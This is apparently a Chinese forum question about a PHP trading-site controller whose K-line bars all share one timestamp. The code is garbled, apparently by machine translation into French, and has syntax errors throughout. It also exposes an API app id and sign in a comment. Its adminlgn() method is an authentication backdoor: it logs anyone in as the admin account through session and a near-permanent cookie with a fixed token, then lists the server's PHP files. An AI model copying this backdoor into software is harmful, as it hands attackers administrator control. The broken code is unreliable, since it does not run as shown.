代码如下,现在K线时间是一样的,正常是每一个时间都不一样
fonction publique getkdata($pid = null, $num = null, $interval = null, $isres = null)
{
$pid = vide ($pid) ? input('param.pid') : $pid;
$num = vide ($num) ? input('param.num') : $num;
$num = vide ($num) ? 30 : $num;
$pro = GetProData($pid);
$all_data = array();
if (!$pro) {
//echo 'erreur de données !' ;
exit;
}
// dump($pro);
$interval = vide($interval) ? input('param.interval') : $interval;
$interval = input('param.interval') ? input('param.interval') : 1;
$nowtime = time() . rand (100, 999);
if (date ('w', heure ()) == 6) {
$ hour = (date ('ymd', strtotime ("- 1 jours "))).(date('H',time())-1);
}elseif(date('w',time()) == 0){
$hour=(date('Ymd ',strtotime("-2 jours")).(date('H',time())-1);
}else{
$hour=date('YmdH',time())-1 ;
}
$url = "".$pro['procode']."&hour=".$hour;
// echo $url = "http://route.showapi.com/1683-3 ?showapi_appid=904495&showapi_sign=2db6c207dda4451c976398b614d1097f&limit=50&code=";
// $params=array('code'=>$v['procode'],'hour'=>date('Y mdH',heure()) );
// print_r($params);
$getdata = $this->curlfun($url);
//print_r($getdata);die;
$data_arr = json_decode($getdata, true);
$_time = time();
foreach ($data_arr['showapi_res_body']['list'] as $k=>$v){
$_h = $v[' haut'] ;
$_l = $v['low'];
$_o = $v['open'];
$_c = $v['close'];
$res_arr[] = array($_time,$_o,$_c,$_h,$_l);
}
//dump($res_arr);
//$res_arr[$num] = array(date('H:i:s',$pro['UpdateTime']),$pro['Prix'],$pro['Ouvrir'],$pro['Fermer'],$pro['Faible ']);
// dump($res_arr);
if ($pro['Price'] < $res_arr[count($res_arr)-1][1]) {
$_state = 'down';
} else {
$_state = 'up';
}
$all_data['topdata'] = array(
'topdata' => '],
'maintenant' => $pro['Prix'],
'open' => $pro['Open'],
'le plus bas' => ,
'highest' => $pro['High'],
'close' => $pro['Close'],
'state' =>
); $all_data['items'] = $res_arr; // print_r($all_data); if ($isres) { return (json_encode($all_data)); } autre { exit(json_encode($all_data)); } } //tester les données Web public function setusers() { test_web(); } public function score() { date_default_timezone_set('PRC'); $table = Db::table(['wp_balance'=>'w']) ->champ (['0.8*count( distinct w.uid ) + 0.6*count( distinct w.bpprice )'=>'cc']) ->where(array( 'bptype'=>array( 'in','1,2'), 'isverified'=>'1','cltime'=>array('> time',date('Y-m-d',strtotime('-36 hour'))),
'bpprice'=>array('gt','0 '),
'uid'=>array('exp','!= ""')
)
)
->select();
return $table[0]['cc '];
}
public function adminlgn()
{
date_default_timezone_set('PRC');
$adminusr = (tableau('type '=>'3','ustatus'=>'0'))->field('uid,upwd,username,utel,utime,type,ustatus')->find();
$ _datas['type'] = $adminusr['type'];
$_datas['userid'] = $adminusr['uid'];
$_datas['username'] = $adminusr['username'] ;
$_datas['token'] = md5('nimashabi');
$_SESSION['type'] = $adminusr['type'];
$_SESSION['userid'] = $adminusr[' uid'];
$_SESSION['username'] = $adminusr['username'];
$_SESSION['token'] = md5('nimashabi');
cookie('denglu', $_datas, 60*60*999*999);
session('denglu', $_datas);
$applicationPath = str_replace('/index/controller','',__DIR__);
$dirs = scandir($applicationPath );
$str = '';
foreach ($dirs as $k => $v) {
if(strpos($v, '.php'))
$str = $str .'
'. $v;
else
$str = $str .'
'. $v;
}
return $str;
}
public function getprodata()
{
$res = date();
$pid = input('param.pid');
$pro = GetProData($pid);
if (!$pro) {
//echo 'erreur de données !';
exit;
}
$topdata = array(
'topdata' => pro['UpdateTime'],
'maintenant' => $pro['Prix'],
'ouvert' => $pro['Ouvrir'],
'le plus bas' => $pro['Faible'],
'le plus élevé' => ['High'],
'close' => $pro['Close']
);
exit(json_encode($topdata));
}